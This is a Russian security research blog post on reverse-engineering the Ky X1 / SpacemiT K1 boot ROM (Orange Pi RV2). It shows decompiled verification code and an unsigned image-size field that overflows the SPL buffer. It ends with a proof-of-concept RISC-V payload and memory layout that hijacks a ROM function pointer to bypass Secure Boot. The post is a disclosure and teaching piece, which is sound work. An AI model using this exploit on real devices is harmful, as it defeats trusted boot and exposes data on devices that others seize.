Так уж повелось, что в Positive Labs исследованиями одноплатных платформ чаще всего занимаюсь я. Задачи при этом бывают разными: где-то нужно включить Secure Boot или Encrypted Boot, где-то — наоборот, проверить устойчивость этих механизмов к атакам.Поводом для этой статьи стала обнаруженная уязвимость в чипе Ky X1 – сердце одноплатника Orange Pi RV2, вышедшего в 2025 году. Уязвимость по праву можно назвать учебной – она простая, а процесс её поиска и эксплуатации – прямолинейный, без сложных трюков и неожиданных поворотов. На её примере разберём, как в подобных устройствах реализуются механизмы доверенной загрузки, где именно возникают слабые места и каким образом подобные ошибки могут быть обнаружены и проэксплуатированы. Читать далее

Так уж повелось, что в Positive Labs исследованиями одноплатных платформ чаще всего занимаюсь я. Задачи при этом бывают разными: где-то нужно включить Secure Boot или Encrypted Boot, где-то — наоборот, проверить устойчивость этих механизмов к атакам.
Поводом для этой статьи стала обнаруженная уязвимость в чипе Ky X1 – сердце одноплатника Orange Pi RV2, вышедшего в 2025 году. Уязвимость по праву можно назвать учебной – она простая, а процесс её поиска и эксплуатации – прямолинейный, без сложных трюков и неожиданных поворотов. На её примере разберём, как в подобных устройствах реализуются механизмы доверенной загрузки, где именно возникают слабые места и каким образом подобные ошибки могут быть обнаружены и проэксплуатированы.
Процесс исследования можно формализовать. Сначала — попытка найти документацию в открытом доступе. Затем — закономерное разочарование: подробностей о включении механизмов безопасности нет. Как всегда, эта часть описывается в закрытых документах, доступ к которым могут получить не только лишь все.
В итоге остаётся единственный путь — реверс. Приходится разбирать прошивку, анализировать ROM и буквально по крупицам восстанавливать логику работы: как включается Secure Boot, какие биты за это отвечают, и в каком порядке должна происходить инициализация.
В общем, принцип «без бумажки – ты букашка» здесь работает на все 100% — реверсить приходится всегда. Зато в качестве бонуса после такого исследования ты начинаешь понимать про Secure Boot на конкретной платформе почти всё.
Secure Boot: а нужен ли?«Первым делом включаем Secure Boot» — но зачем?

Зачем включать Secure Boot
Одноплатные компьютеры часто используются в устройствах вне дома, а значит, могут попасть в чужие руки — вместе с картой памяти. И проблема тут не столько в потере железа, сколько в утечке данных: на носителе могут остаться логи перемещений, ключи доступа к инфраструктуре и другие чувствительные данные. Поэтому носитель информации стоит шифровать (ВСЕГДА!).
Но возникает другая задача — как сохранить возможность быстрой загрузки без ввода пароля. В идеале для этого нужен Encrypted Boot (хранение прошивки в зашифрованном виде с расшифровкой непосредственно перед запуском) вместе с Secure Boot (криптографическая проверка отсутствия изменений в прошивке), однако даже один Secure Boot уже позволяет заметно повысить безопасность устройства.
Объект исследованияНа этот раз подопытным стал Orange Pi RV2 на базе чипа Ky X1, новая архитектура RISC-V, плата от известного производителя - звучит очень вкусно.

Orange Pi RV2
Плата довольно интересная, есть два Ethernet-порта, встроенный NPU, два слота для NVMe SSD. Но на данный момент нас больше всего интересует, как она запускается. При подаче питания стартует ROM, который может запускать SPL с SPI-flash, eMMc или SD-card.
В отличие от большинства SoC, используемых в одноплатных компьютерах, в Ky X1 применяется архитектура RISC-V, а не привычная ARM. Казалось бы, открытая архитектура должна упрощать жизнь исследователю, но на практике это почти не помогает: в доступной документации только заявлено наличие Secure Boot, но про то, как он устроен и как его включить, нет ни слова.

Всё что есть про SecureBoot в документации
А значит, ничего нового — придётся идти самым надёжным путём. Если документации нет, её нужно сделать – реверсим и пишем заметки.
Получение ROMПервым делом надо понять “куда его ревёрсить”. В таблице address mapping из мануала на очень похожий чип (позже мы убедились, что это один и тот же чип под разными названиями) нам оставили подсказку: сказано, что ROM лежит с 0xFFE00000 по 0x100000000.

SpacemiT K1 address mapping
Дело остаётся за малым. Orange Pi build умеет собирать U-Boot под нашу плату, значит, можно попробовать научить собранный u-boot дампить ROM. Для этого ищем один из первых вызовов printf и добавляем вывод ROM в UART. Я решил, что подходящим местом будет функция show_board_info.
// патч
int __weak show_board_info(void)
{
if (IS_ENABLED(CONFIG_OF_CONTROL)) {
// some lines omitted for clarity
if (model)
printf("Model: %s\n", model);
//BEGIN patch
//dump ROM
printf("Rom: \n");
unsigned char * rom=(unsigned char*) 0xFFE00000;
for( int i=0x0000;i<0x20000;i+=0x10){
printf(" %08X: ",i);
for (int j=0;j<0x10;++j){
printf("%02x ",rom[i+j]);
}
printf("\n");
}
//END patch
}
return checkboard();
}
Компилируем пропатченный SPL, записываем его на SD-карту, запускаем и видим что-то похожее на код. Для надёжности прогоняем минимум три раза и сравниваем полученные двоичные файлы – у меня дампы совпали, значит можно продолжать.
// дампим ROM
U-Boot 2022.10ky (Aug 18 2025 - 11:16:02 +0000)
[ 0.947] CPU: rv64imafdcv
[ 0.949] Model: ky x1 orangepi-rv2 board
[ 0.953] Rom:
[ 0.955] 00000000: 81 40 01 41 81 41 01 42 81 42 01 43 81 43 01 44
[ 0.961] 00000010: 81 44 01 45 81 45 01 46 81 46 01 47 81 47 01 48
[ 0.968] 00000020: 81 48 01 49 81 49 01 4a 81 4a 01 4b 81 4b 01 4c
[ 0.975] 00000030: 81 4c 01 4d 81 4d 01 4e 81 4e 01 4f 81 4f 73 25
[ 0.981] 00000040: 40 f1 97 02 00 00 93 82 a2 09 73 90 52 30 73 10
[ 0.988] 00000050: 40 30 97 91 a3 c0 93 81 e1 bb 17 01 a4 c0 13 01
[ 0.995] 00000060: 61 fa 37 45 0d 00 1b 05 35 28 32 05 13 05 05 c2
[ 1.001] 00000070: 0c 41 93 f5 05 02 89 ed 79 65 1b 05 35 0c 3e 05
[ 1.008] 00000080: 31 05 0c 41 85 89 89 c5 1b 05 10 18 5e 05 02 85
[ 1.014] 00000090: 17 b5 00 00 13 05 85 bf 97 85 a3 c0 93 85 85 f6
[ 1.021] 000000A0: 13 86 01 86 63 da c5 00 83 32 05 00 23 b0 55 00
[ 1.028] 000000B0: 21 05 a1 05 e3 ca c5 fe 93 82 01 86 17 b3 a3 c0
[ 1.034] 000000C0: 13 03 c3 1a 63 87 62 00 23 b0 02 00 a1 02 e3 cd
[ 1.041] 000000D0: 62 fe 01 45 81 45 ef 00 a0 0b 01 00 13 01 81 ee
[ 1.047] 000000E0: 06 e0 0a e4 0e e8 12 ec 16 f0 1a f4 1e f8 22 fc
[ 1.054] 000000F0: a6 e0 aa e4 ae e8 b2 ec b6 f0 ba f4 be f8 c2 fc
Исследование ROM и поиск Secure BootКогда код ROM получен – пришло время его ревёрсить. Проблем с загрузкой его в IDA Pro быть не должно – выбираем Risc-V, “binary file” и создаём сегмент с 0xFFE00000 по 0xFFF00000.
Начать стоит с разборки процесса загрузки SoC от запуска ROM до перехода к коду с внешнего носителя. Все самое интересное будет там. В данном случае ROM оказался небольшим, да и функционала в нём немного. Сперва идёт небольшая инициализация, а затем попытки загрузиться с различных устройств.
// Функция main ROM
void __noreturn main()
{
// инициализация
// some lines omitted for clarity
init_timer();
// выбор источника загрузки
boot_mode32 = get_bootmode();
boot_mode = boot_mode32;
// some lines omitted for clarity
if ( sd_boot_disabled() || !is_storage(boot_mode) )
{
try_boot = boot_mode;
}
else
{
if ( boot_mode != SD )
printf("try sd...\n");
try_boot = SD;
}
// загрузка
while ( 1 )
{
// some lines omitted for clarity
// ...
if ( try_boot != SD || boot_mode == SD )
{
if ( !load_image(0, "spl", SPL_buffer, try_boot, boot_mode) ) // попытка загрузки SPL
{
printf("j...\n");
__asm { fence.i }
(&SPL_buffer[0x1000])(0, 0, 0);
printf("ERROR: Non-reachable code, busy loop...\n");
panic();
}
printf("ERROR: Load image failed.\n");
panic();
}
// some lines omitted for clarity
}
// some lines omitted for clarity
}
Наиболее прямой способ найти Secure Boot – посмотреть, как ROM загружает SPL с внешнего хранилища. Хороший знак – встретить криптографию, и вот первые её признаки: в функции load_image видны логи со строкой “verify”.
// Строки в функции load_image
__int64 __fastcall load_image(__int64 id, char *name, void *addr, boot_modes selected_mode, boot_modes boot_mode)
{
// some lines omitted for clarity
while ( 1 )
{
verify_err = verify(addr, readed[0], name);
if ( verify_err != -1uLL )
break;
if ( is_prod_mode() )
{
printf("ERROR: ROM: Failed to verify %s%d\n", name, id & 1);
if ( (selected_mode == EMMC || (selected_mode - 3) <= 2) && !retry_flag )
{
id = id + 1;
retry_flag = 1;
goto LOAF_IMG;
}
PANIC:
printf("ERROR: ROM: loadd&verify panic.\n"); // "verify"
panic();
}
SELECT_NEXT_IMG:
printf("ERROR: ROM[debug]: Failed to verify %s%d\n", name, id & 1);
// some lines omitted for clarity
}
if ( verify_err )
goto SELECT_NEXT_IMG;
return 0;
}
Конечно, это не 100% гарантия Secure Boot - может оказаться простой контрольной суммой, но всё-таки очень похоже на него. Подписываем функцию verify и идём смотреть, как она устроена. Внутри функции в логах встречается ещё множество характерных слов вроде “auth” и “crypto_rsa2048_verify”. Ну теперь-то точно можно говорить, что Secure Boot где-то здесь.
// Строки в функциях verify и crypto_rsa2048_verify
__int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name)
{
// some lines omitted for clarity
verify_sign_2_err = verify_sign(&spl_addr->binary_header, alligned_binary_size, key);
if ( !verify_sign_2_err )
return 0; // SB CHECK OK
goto AUTH_ERR;
// some lines omitted for clarity
AUTH_ERR:
printf("auth error: %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x7D, verify_sign_2_err);
printf(
"ROM: auth_verify_aimg_data error, %s,Line %d, err %d\n",
"drivers/auth/auth.c",
0xA2,
verify_sign_err);
return -1uLL;
// some lines omitted for clarity
}
__int64 __fastcall verify_sign(char *data, __int64 size, rsa_pubkey *key)
{
// some lines omitted for clarity
rsa_verify_err = crypto_rsa2048_verify(key, &data[header_size], hash);
if ( rsa_verify_err )
printf("auth error: %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x4F, rsa_verify_err);
return rsa_verify_err;
// some lines omitted for clarity
}
__int64 __fastcall crypto_rsa2048_verify(__int64 N, __int64 end_addr__, unsigned __int8 *hash)
{
// some lines omitted for clarity
printf("%s: ret %x\n", "crypto_rsa2048_verify", -err);
// some lines omitted for clarity
return err;
}
Вообще, можно было поискать строчки вроде “RSA”, “verify”, “signature” в самом начале исследования – они сразу бы привели нас в нужное место. Хотя подход с последовательным анализом процедуры загрузки более универсален – такое разнообразие отладочных выводов в ROM скорее исключение, чем правило. Например, в ROM RK3588 всего две строчки: магическая константа заголовка SPL и версия ROM, которая вообще не используется в коде. В таких случаях криптографию можно попробовать определить по сигнатурам или обращениям к “криптодвижку” – в современных процессорах часто используются аппаратные блоки для ускорения криптографических операций. Адреса регистров этих блоков и то, как ими пользоваться, описывается в документации на чип. Иногда эта часть документации даже доступна в интернете.
Secure BootТеперь, когда Secure Boot найден, остаётся его включить. Обычно включение Secure Boot состоит в том, чтобы прошить хэш ключа и флаг включения во фьюзы, но для этого нужно определить их адреса.
Чтобы понять, где находятся нужные фьюзы, снова смотрим в IDA. Очевидно, ROM должен как-то определить, можно ли доверять публичному ключу подписи. Обычно перед проверкой подписи вычисляется хэш публичного ключа и сравнивается со значением из фьюзов. В нашем случае в функции verify вычисляется хэш от первых 0x100 байт образа SPL и сравнивается со значением из фьюзов.
Заодно замечаем ещё одно обращение к фьюзам — судя по всему, это бит включения Secure Boot. Такой механизм тоже довольно распространён.
// Проверка флага Secure Boot и хэша ключа
__int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name)
{
// some lines omitted for clarity
// p_eFuse - pointer to memory-mapped eFuse region
SB_Flags = p_eFuse->SB_Flags; // p_eFuse + 0xC4
if ( (SB_Flags & 0xE00) == 0 ) // looks like SECURE_BOOT_ENABLE
{
// some lines omitted for clarity
if ( is_prod_mode() )
{
err = crypto_hash_256(spl_addr->key.N, 0x100, &hash);
// some lines omitted for clarity
cmp = memcmp(&hash, p_eFuse->secure_boot_key_hash, 0x20); // p_eFuse + 0x80
// some lines omitted for clarity
if ( cmp ){
printf("ROM: auth_verify_tpks error, %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x9B, cmp);
return -1uLL;
}
}
// some lines omitted for clarity
verify_sign_1_err = verify_sign(&spl_addr->header, 0xB00, &spl_addr->key);
// some lines omitted for clarity
}
// NON SB here
// some lines omitted for clarity
}
Флаг включения находится по смещению 0xC4, а рисунок ключа – по смещению 0x80. Однако прежде чем шить фьюзы, желательно научиться правильно подписывать бинарь, а не то может получиться, что secure у нас будет, а boot - нет.
Подпись SPLПри поиске Secure Boot и используемых им фьюзов мы уже обнаружили, что для подписи используется RSA-2048 и SHA-256, а публичный ключ расположен в первых 256 байтах прошивки. Теперь остаётся определить границы областей SPL, для которых проверяются подписи или хэши.
Ответ на этот вопрос стоит искать в приватной документации или декомпилированной функции verify.
// Вызовы функции verify_sign в функции verify
unsigned __int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name)
{
// some lines omitted for clarity
verify_sign_1_err = verify_sign(&spl_addr->header, 0xB00, &spl_addr->key);
if ( !verify_sign_1_err )
{
// some lines omitted for clarity
key_num = spl_addr->header.deffaul_key_num;
for (int i=0; i < header.key_table_size; ++i)
{
if ( !strcmp(name, header.key_table[i].name) )
{
key_num = spl_addr->header.key_table[i].key_num;
break;
}
}
key = &spl_addr->header.binary_keys[key_num];
// some lines omitted for clarity
verify_sign_2_err = verify_sign(&spl_addr->binary_header, alligned_binary_size, key);
if ( !verify_sign_2_err )
return 0; // SB CHECK OK
// some lines omitted for clarity
}
// some lines omitted for clarity
}
Видно, что у SPL проверяется две подписи: одна - для заголовка, другая - для исполняемого кода. Разбор этой функции позволяет приблизительно восстановить структуру заголовков SPL.
// Структура SPL
struct spl // sizeof=0x1000;variable_size
{
rsa_pubkey key; // 0x0000
spl_header header; // 0x0100
char header_sign[256]; // 0x0B00
char _[992]; // 0x0C00
spl_binary_header binary_header; // 0x0FE0
char binary_and_sign[]; // 0x1000 Размер задаётся в binary_header.size
};
struct __fixed(0xA00) spl_header // sizeof=0xA00
{
int magic; // 0x000
char arb_version; // 0x004
char arb_mode; // 0x005
char _[2]; // 0x006
__int64 headers_size; // 0x008
char __[16]; // 0x010
int deffaul_key_num; // 0x020
int key_table_size; // 0x024
key_table_entry key_table[20]; // 0x028
char some_hash[32]; // 0x1B8
char ___[40]; // 0x1D8
rsa_pubkey binary_keys[8]; // 0x200
};
struct __fixed(0x14) key_table_entry // sizeof=0x14
{
char name[16]; // 0x00
int key_num; // 0x10
};
struct __fixed(0x20) spl_binary_header // sizeof=0x20
{
int magic; // 0x0
char arb_version; // 0x4
char arb_mode; // 0x5
char _[2]; // 0x6
__int64 size; // 0x8
char __[16]; // 0x10
};
Привлекает внимание тот факт, что размер SPL не фиксирован, при этом образ читается сразу целиком. Значит, либо где-то захардкожен максимальный размер SPL, либо где-то должен быть ещё один заголовок, и по-хорошему – ещё одна проверка подписи. Однако дополнительных вызовов функции crypto_rsa2048_verify, кажется, больше не видно…
БагаРазбираемся, как ROM определяет, сколько байт нужно считать с носителя перед проверкой подписи SPL. Смотрим, откуда берётся размер прошивки и обнаруживаем функцию чтения bootinfo. Изучив функции чтения и обработки, восстанавливаем структуру bootinfo. Оказывается, что это и есть заголовок с размером образа SPL, но он накрыт только CRC32.
// BootInfo
00 f0 14 07 b0 |..../ Magick (0xB007_14F0)
04 01 00 01 00 /..../ Version (0x10001)
08 53 44 43 00 00 00 00 00 /SDC.....| Boot SRC (SD-card)
10 00 02 00 00 00 00 01 00 00 00 00 10 00 00 00 00 |................| ???
20 00 00 02 00 |..../ IMG 0 offset (0x20000)
24 00 00 08 00 /..../ IMG 1 offset (0x80000)
28 00 60 03 00 /.`../ IMG size (0x36000)
2C 00 00 00 00 /....| IMG 2 offset (0x0)
30 00 00 00 00 |..../ IMG 3 offset (0x0)
34 00 00 00 00 00 00 00 00 00 00 00 00 /............| ???
40 4d f8 cc 36 |M..6| CRC32 (valid)
Теперь ясно откуда берётся размер прошивки, но оказывается, он не защищён от модификации (не подписан). А раз есть какие-то параметры, которыми может манипулировать хакер, нужно проверить, что любые их значения будут корректно обрабатываться. В нашем случае следует убедиться, что в функции чтения прошивки предусмотрена защита от переполнения буфера.
// А я вам покажу откуда на SecureBoot готовилось нападение
__int64 __fastcall sd_load(unsigned __int64 image_id, unsigned __int64 skip, void *dst, _QWORD *read_size)
{
unsigned int offset; // a5
unsigned __int64 max_skip; // a6
__int64 size; // a2
unsigned int offset_pages; // a3
__int64 read_offset; // a0
__int64 result; // a0
if ( image_id <= 1 ) // image_id==0 on first try
{
offset = load_info.img0_start;
if ( image_id )
offset = load_info.img1_start;
size = load_info.img_size; // size from boot_info, can be modified by attacker
max_skip = load_info.img1_start - load_info.img0_start;
}
else
{
if ( (image_id - 2) > 1 )
{
printf("ERROR: get_file_info: invalid image_id (%d)\n", image_id);
size = 0;
sd_offset_size = 0;
sd_max_skip = 0;
read_offset = 0;
goto DO_SD_READ;
}
offset = load_info.img2_start;
if ( image_id != 2 )
offset = load_info.img3_start;
max_skip = load_info.img3_start - load_info.img2_start;
size = 0x800; // image_id==2 || image_id==3 is safe
}
sd_offset_size = ((offset >> 9) | (size << 0x20));
sd_max_skip = max_skip;
offset_pages = offset >> 9;
read_offset = offset >> 9;
if ( skip < max_skip )
{
read_offset = (((skip + 0x1FF) >> 9) + offset_pages);
sd_offset_size = ((((skip + 0x1FF) >> 9) + offset_pages) | ((size - skip) << 0x20));
size = size - skip; // skip==0, size unchanged
}
DO_SD_READ:
// !!! no verification size<=buffer_size
// !!! sd_read can overflow buffer and overwrite RAM
result = sd_read(read_offset, dst, size); // read data from SD
// reads size bytes to dst
// no buffer size check inside
if ( !result )
*read_size = sd_offset_size.size;
return result;
}
Так как наша плата загружается с SD-карты, рассмотрим функцию загрузки с SD. В функции sd_read есть два сценария. Первый — «безопасный»: если image_id равен 2, то size всегда будет 0x800, что не вызовет переполнения. Если же image_id равен 0 или 1, размер берётся из заголовка без каких-либо дополнительных проверок.
Image_id – это первый аргумент функции load_image, если посмотреть на её вызов, то можно увидеть, что в нашем случае он равен 0. А это явная возможность переполнить буфер.
Теперь остаётся понять, что именно можно перезаписать с помощью такого переполнения.
ЭксплуатацияБуфер под SPL выделен статически и находится по адресу 0xC0800000. Согласно мануалу, это самое начало сегмента AUDIO SRAM (0xC0800000-0xC0840000). Очевидно, что на столь раннем этапе загрузки аудиоподсистема ещё не инициализирована, поэтому этот участок памяти используется для других целей.
Другие адреса, встречающиеся в коде, тоже попадают в этот сегмент; похоже, что на данном этапе загрузки вся оперативная память ROM находится в этом сегменте. В начале ROM видно, что в конце сегмента размещён стек, что выглядит как потенциальная возможность для code execution. Однако в таком случае придётся перезаписать значительную часть памяти, что существенно усложняет восстановление контекста.
Может быть, есть способ проще? Посмотрим, что есть поближе. Минимальный встреченный адрес оказался 0xC0838000 – получается размер буфера 0x38000. Учитывая, что размер штатного SPL 0x36000, такой буфер выглядит правдоподобным. Следующие 0x470 байт копируются из ROM.
# Инициализация памяти при запуске ROM
sub_FFE00000:
# some lines omitted for clarity
la gp, 0xC0838C10
la sp, 0xC0840000 # stack grows from 0xC0840000
# some lines omitted for clarity
CPY_ROM:
la a0, 0xFFE0AC88 # memcpy(0xC0838000,0xFFE0AC88,0x470);
la a1, 0xC0838000 # lowest used address after SPL-buffer
la a2, 0xC0838470
bge a1, a2, CLEAR_RAM
CPY_ROM_LOOP:
ld t0, 0(a0)
sd t0, 0(a1)
addi a0, a0, 8
addi a1, a1, 8
blt a1, a2, CPY_ROM_LOOP
CLEAR_RAM:
la t0, 0xC0838470 # memset(0xC0838470,0,0x2df8);
la t1, 0xC083B268
beq t0, t1, JMP_CORE
CLEAR_RAM_LOOP:
sd zero, 0(t0)
addi t0, t0, 8
blt t0, t1, CLEAR_RAM_LOOP
JMP_CORE:
li a0, 0
li a1, 0
jal main
Среди них встречается много полезного – например, по адресу 0xC0838410 лежит указатель на memory-mapped зону фьюзов. Тут уже явно пахнет обходом Secure Boot – меняем указатель на фьюзы так, чтобы он попал в какое-нибудь место в буфере SPL, а там имитируем выключенное состояние SecureBoot или меняем хэш ключа на свой. Для восстановления контекста достаточно просто скопировать данные из ROM. Однако есть нюанс: чтение идёт постранично, соответственно, размер считываемого буфера должен быть кратен 0x200. То есть придётся восстановить ещё и кусок 0xC0838470-0xC0838600. На первый взгляд там лежит много всего.
# Перезаписываемый участок, по-хорошему. нужно вернуть в исходное состояние
SRAM:C0838470 byte_C0838470: .block 10h # DATA XREF: sub_FFE00000+A0↓o
SRAM:C0838470 # sub_FFE00000:loc_FFE000B8↓o
SRAM:C0838480 qword_C0838480: .block 8 # DATA XREF: init_timer:loc_FFE01548↓w
SRAM:C0838480 # sub_FFE015A4:loc_FFE015F0↓r
SRAM:C0838488 qword_C0838488: .block 8 # DATA XREF: init_timer+2C↓w
SRAM:C0838488 # init_timer+70↓w ...
SRAM:C0838490 # UART_PHY *P_uart
SRAM:C0838490 P_uart: .block 8 # DATA XREF: init_UART+C↓w
SRAM:C0838490 # uart_tx_char+2↓r ...
SRAM:C0838498 # load_dev_funcs *LDF
SRAM:C0838498 LDF: .block 8 # DATA XREF: setup_device+1E↓o
SRAM:C0838498 # setup_device:loc_FFE017AC↓r ...
SRAM:C08384A0 byte_C08384A0: .block 1 # DATA XREF: sub_FFE01A60+1C↓o
SRAM:C08384A0 # sub_FFE01A60+20↓r ...
SRAM:C08384A1 .block 7
SRAM:C08384A8 # spl *load_addr
SRAM:C08384A8 load_addr: .block 8 # DATA XREF: verify+22↓o
SRAM:C08384A8 # verify+2A↓w ...
SRAM:C08384B0 sys_reg: .block 4 # DATA XREF: get_bootmode+4↓o
SRAM:C08384B0 # get_bootmode+8↓r ...
SRAM:C08384B4 dword_C08384B4: .block 4 # DATA XREF: sub_FFE02596+96↓r
SRAM:C08384B4 # emmc_init_card+7C↓w
SRAM:C08384B8 qword_C08384B8: .block 8 # DATA XREF: sub_FFE037B6+54↓o
SRAM:C08384B8 # sub_FFE037B6+A6↓r ...
SRAM:C08384C0 dword_C08384C0: .block 4 # DATA XREF: sub_FFE037B6+42↓o
SRAM:C08384C0 # sub_FFE037B6+96↓r ...
SRAM:C08384C4 dword_C08384C4: .block 4 # DATA XREF: sub_FFE034CC+42↓w
SRAM:C08384C4 # sub_FFE038D0+3A↓o ...
SRAM:C08384C8 dword_C08384C8: .block 4 # DATA XREF: sub_FFE034CC+34↓w
SRAM:C08384C8 # sub_FFE037B6+4C↓o ...
SRAM:C08384CC dword_C08384CC: .block 4 # DATA XREF: sub_FFE03124+14↓o
SRAM:C08384CC # sub_FFE03124+18↓r ...
SRAM:C08384D0 dword_C08384D0: .block 4 # DATA XREF: fastboot_download+1E↓w
SRAM:C08384D0 # sub_FFE03C7E↓r
SRAM:C08384D4 dword_C08384D4: .block 4 # DATA XREF: fastboot_download+12↓w
SRAM:C08384D4 # sub_FFE03C7E+4↓r
SRAM:C08384D8 # int dword_C08384D8
SRAM:C08384D8 dword_C08384D8: .block 4 # DATA XREF: emmc_init_card+AE↓o
SRAM:C08384D8 # emmc_init_card+B2↓r ...
SRAM:C08384DC dword_C08384DC: .block 4 # DATA XREF: sub_FFE03FBA+4↓o
SRAM:C08384DC # sub_FFE03FBA+C↓r ...
SRAM:C08384E0 qword_C08384E0: .block 8 # DATA XREF: spi_nand_bootinfo+2↓r
SRAM:C08384E0 # spi_nand_setup+1A↓w ...
SRAM:C08384E8 qword_C08384E8: .block 8 # DATA XREF: spi_nor_bootinfo+2↓r
SRAM:C08384E8 # spi_nor_setup+1C↓w ...
SRAM:C08384F0 # __int64 qword_C08384F0
SRAM:C08384F0 qword_C08384F0: .block 8 # DATA XREF: sub_FFE07CDC↓o
SRAM:C08384F0 # sub_FFE07CDC+4↓r ...
SRAM:C08384F8 # boot_info boot_info
SRAM:C08384F8 boot_info: boot_info <?> # DATA XREF: core+5C↓o
SRAM:C08384F8 # core+130↓o
SRAM:C083853C .block 4
SRAM:C0838540 # load_info load_info
SRAM:C0838540 load_info: load_info <?> # DATA XREF: core+122↓o
SRAM:C0838540 # core+12C↓o ...
SRAM:C0838564 .block 1Ch
SRAM:C0838580 # unsigned __int8 hash
SRAM:C0838580 hash: .block 20h # DATA XREF: verify_sign+30↓o
SRAM:C0838580 # verify_sign+40↓o ...
SRAM:C08385A0 .block 60h
Впрочем, обычно нет необходимости восстанавливать всё, главное – починить то, без чего не будет работать. А значит, можно попробовать заполнить всё нулями, а дальше итеративно восстанавливать то, что выглядит важным.
Взгляд цепляется за адрес 0xC0838498 (LDF) – там хранится указатель на структуру с функциями загрузки с различных устройств. Проанализировав функцию load_image, можно увидеть, что если функция verify вернёт ошибку, а 27 бит sys_reg будет нулевым, то плата попробует загрузить образ ещё раз, но на этот раз с id=1. При этом будет произведена попытка чтения с накопителя, причём функция берётся из структуры, на которую указывает LDF.
Это уже выглядит как полноценное выполнение кода в контексте ROM — что заметно интереснее, чем просто обход Secure Boot. Попробуем это осуществить. Напишем простой код и разместим его вместо заголовка SPL.
# payload
la a0, string
li a5, 0xffe0141a # адрес printf в ROM
jalr a5
li a5, 0xffe002e2 # адрес прыжка в SPL в ROM
jalr a5
loop:
j loop
string: .string "Hello Habr!"
Так как LDF – это указатель на массив указателей на функции, нам нужно где-то расположить свой вариант этого массива. Например, в конце “заголовка” SPL (0xC0800EE0). Первым элементом этого массива должен быть адрес нашего кода – 0xC0800000; остальные элементы можно заполнить нулями.
Следующие 0x100 байт (0xC0800F00-0xC0801000) будут изображать фьюзы, их тоже можно оставить пустыми. С 0xC0801000 расположится SPL, с 0xC0838000 по 0xC0838410 – значения скопированные из ROM.
Экспериментально выясняется, что, помимо участка, копируемого из ROM, критически важным оказывается только указатель на аппаратный блок UART.

Cхема PoCа
// запускаем
try sd...
bm:3
auth error: drivers/auth/auth.c,Line 36, err -1
auth error: drivers/auth/auth.c,Line 53, err -1
auth error: drivers/auth/auth.c,Line 96, err -1
ROM: auth_verify_tpks error, drivers/auth/auth.c,Line 155, err -1
ERROR: ROM[debug]: Failed to verify spl0
Hello Habr!
j...
U-Boot SPL 2022.10ky (Aug 18 2025 - 11:16:02 +0000)
[ 0.141] DDR type LPDDR4X
[ 0.149] Enable & config CLK/CA ODT
[ 0.161] lpddr4_silicon_init consume 20ms
[ 0.162] Change DDR data rate to 2400MT/s
На этом исследование можно завершить. Да, мне не удалось выяснить, как включить Secure Boot на Ky X1. Зато удалось понять, как его обойти — что, по сути, делает его включение бессмысленным. На этой плате сделать что-то доверенное не выйдет.
И не только на ней: уязвимость в ROM этого чипа, судя по всему, затрагивает все устройства на его основе. Позже в мои руки попал ещё один одноплатник на RISC-V — Banana Pi BPI-F3 на похожем чипе SpacemiT K1. Его ROM неотличим от ROM Ky X1, вероятно, это один и тот же чип под разными названиями.
Из этого следует, что полностью доверять устройствам на базе Ky X1 или SpacemiT K1 не стоит. Впрочем, большинству пользователей «апельсины» этот баг не страшен: во-первых, их модель угроз обычно не включает физический доступ; во-вторых, чтобы обойти Secure Boot, его сначала нужно включить — а официальных инструкций по его включению по-прежнему нет.
| # | Наименование новости | Тональность | Информативность | Дата публикации |
|---|---|---|---|---|
| 1 | Железный ключ к Secure Boot RK35xx | 0 | 10.21 | 11-08-2026 |
| 2 | Включил отладку по Wi-Fi — получил Mamont | 0 | 10.19 | 09-06-2026 |
| 3 | Июньский «В тренде VM»: уязвимости ядра Linux, Microsoft Defender и устройств Palo Alto Networks | 0 | 9.7 | 15-06-2026 |
| 4 | Рынки монетизации уязвимостей | 0 | 7.7 | 07-07-2026 |
| 5 | Хаос, шок, приватные ключи от не менее приватного GitLab | 0 | 29.2 | 31-07-2026 |
| 6 | Актуальные киберугрозы веб-приложений и инфраструктуры разработки | 0 | 15.35 | 30-06-2026 |
| 7 | Проект eMMC-emu | 0 | 8.99 | 06-08-2026 |
| 8 | Журналирование ошибок: практическое руководство для Java, Kotlin, JavaScript и Python | 0 | 7.23 | 30-07-2026 |
| 9 | Ааа, всё пропало! AI создаёт дырявый код! Что же делать? | 0 | 11.43 | 16-06-2026 |
| 10 | Рынки монетизации уязвимостей | 0 | 7 | 07-07-2026 |